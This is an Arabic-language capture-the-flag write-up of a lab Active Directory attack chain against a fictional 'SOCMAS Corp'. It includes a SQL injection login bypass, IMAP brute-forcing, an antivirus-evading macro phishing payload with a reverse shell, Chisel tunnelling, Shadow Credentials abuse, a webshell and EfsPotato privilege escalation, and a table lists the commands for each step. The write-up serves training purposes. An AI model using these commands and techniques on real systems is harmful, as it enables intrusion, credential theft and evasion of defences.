شركة SOCMAS Corp (نطاق socmas.corp) بقى نظام مراقبة الكاميرات (CCTV) بتاعها ضعيف، ومن هنا بتبدأ سلسلة استغلال كاملة على بيئة Active Directory حقيقية — مش استغلال واحد، لكن رحلة متكاملة من تطبيق ويب هش لحد صلاحية NT AUTHORITY\SYSTEM على Domain Controller.
ده أطول لاب في سلسلة “الخمسة الصقيعية” — بيغطي تقريبًا كل مرحلة من مراحل هجوم AD الكلاسيكي: استطلاع، Phishing متقدم يتخطى الـ Antivirus، Port Forwarding لشبكة داخلية مخفية، BloodHound، وهجوم Shadow Credentials على شهادات AD CS.
جزء من سلسلة Side Quest — أكمله مع الأربعة الباقيين واحصل على شارة الحدث كامل
تطبيق Wareville CCTV على port 8080 بيقبل admin' or 1=1 -- - في الـ login ويديك دخول مباشر. SQLMap على نفس النقطة بيطلّع جدول تسجيلات فيه مسار فيديو محذوف — زيارته بتكشف الـ Keycard.
بعد تعطيل الـ Firewall (port 21337)، nmap بيطلّع هوست Windows فيه DNS/Web/SMB/Kerberos(464)/IMAP/SMTP/RDP/WinRM — بس بشكل غريب، LDAP(389) وKerberos(88) الأساسيين لـ AD مش ظاهرين من بره.
nmap -p- IPsocmas.corp · fisher.socmas.corpمستخدم guest من غير باسورد بيقدر يقرا شير اسمه ChristmasShare فيه Flag 1، ملف Excel بباسوردات محتملة، وصورة “steganography” (مصيدة، مفيهاش حاجة). الـ RID brute-force عبر NetExec بيطلّع قائمة يوزرنيمز.
smbclient //IP/ChristmasSharenxc smb IP -u guest -p ” –ridHydra على SMTP بأحد الإيميلات مبتفدش، لكن نفس اليوزر والباسوردات بتنجح على IMAP. جوه الإيميل: طلب من موظف اسمه snowflakes.crawler لمستند فيه بيانات حسابات — دي فرصة الـ Phishing.
hydra -l user -P wordlist IP imapsnowflakes.crawler@socmas.corpالهدف بيرفض .docx، بس .docm (ماكرو) مقبول. الحل ثلاث طبقات: ماكرو VBA معتّم (XOR-encoded) بيستخدم WMI Win32_Process بدل Shell() عشان يفلت من الكشف، بينزّل PowerShell script، اللي بدوره بينزّل ويشغّل executable مبني بلغة Go (مش PowerShell عادي) — التركيبة دي بتعدّي الـ AV. النتيجة: reverse shell كمستخدم domain اسمه scrawler، والـ Flag 2 على سطح مكتبه.
obfuscated VBA (WMI Create)Go-compiled reverse shellPrivescCheck (بأحدث إصدار عشان يفلت من الـ AV) بيكشف بيانات WinLogon محفوظة للمستخدم الحالي. netstat -ano بيوريك إن LDAP(389) وKerberos(88) شغالين فعليًا — بس على localhost بس، مش متاحين من بره.
Chisel بيعمل نفق عكسي يفتح لك LDAP وKerberos من جهازك مباشرة. بعدها LDAP dump وbloodhound-python (مع dnschef لتزييف الـ DNS) بيكشفوا صلاحية GenericWrite لمستخدم Krampus_Debugger على مستخدم اسمه Krampus_Shadow.
chisel client IP:PORT R:389:… R:88:…GenericWrite → Krampus_Shadowبالـ GenericWrite، pyWhisker بيضيف شهادة AD CS مزوّرة لحساب Krampus_Shadow من غير ما يغيّر الباسورد بتاعه. الشهادة دي بتتستخدم لطلب TGT (عبر PKINITtools) واستخراج الـ NT hash — وصول WinRM كامل كـ Krampus_Shadow (عضو في جروب IIS اللي عنده صلاحية الكتابة في wwwroot).
pywhisker –action addgettgtpkinit.py → getnthash.pyKrampus_Shadow بيقدر يكتب في C:\inetpub\wwwroot، فبنرفع ASP.NET Razor webshell (Index.cshtml) بيشغّل نفس الـ Go binary بتاعنا. النتيجة: shell كـ iis apppool\DefaultAppPool عنده SeImpersonatePrivilege. EfsPotato (متبني على الجهاز نفسه بـ csc.exe) بيدّيك NT AUTHORITY\SYSTEM — والـ Flag الأخير مش على Administrator، لقيناه على سطح مكتب مستخدم اسمه Krampus_Proxy.
| الأمر | الوصف | المرحلة |
|---|---|---|
| admin’ or 1=1 — – | تجاوز تسجيل الدخول في تطبيق CCTV | SQLi |
| nxc smb IP -u guest -p ” –shares –rid | تعداد الشيرات والمستخدمين بلا مصادقة | SMB |
| hydra -l user -P wordlist.txt IP imap | Brute-force للوصول لصندوق البريد | |
| swaks –to victim –attach @krampus.docm –server IP –port 587 | إرسال المرفق الخبيث عبر SMTP | Phishing |
| powershell -ep bypass -c “. .\PrivescCheck.ps1; Invoke-PrivescCheck” | فحص شامل لفرص تصعيد الصلاحيات | PrivEsc |
| chisel server -reverse –port 51234 (attacker) / chisel client IP:51234 R:389:… R:88:… | فتح نفق لـ LDAP وKerberos الداخليين | Pivot |
| bloodhound-python -d socmas.corp -c All -u scrawler -p PASS -ns 127.0.0.1 | جمع بيانات AD كاملة للتحليل | AD Enum |
| pywhisker.py -d socmas -u KRAMPUS_DEBUGGER -p PASS –target KRAMPUS_SHADOW –action add | تنفيذ هجوم Shadow Credentials | AD Attack |
| gettgtpkinit.py -cert-pfx cert.pfx … / getnthash.py -key … | استخراج NT hash من الشهادة المزوّرة | AD Attack |
| EfsPotato.exe “C:\path\0xb0b.exe” | استغلال SeImpersonatePrivilege للوصول لـ SYSTEM | SYSTEM |
SQLi keycard · SMB anonymous access · shared drive flag
IMAP brute-force · AV-evading phishing payload · reverse shell
Shadow Credentials · webshell · EfsPotato · final flag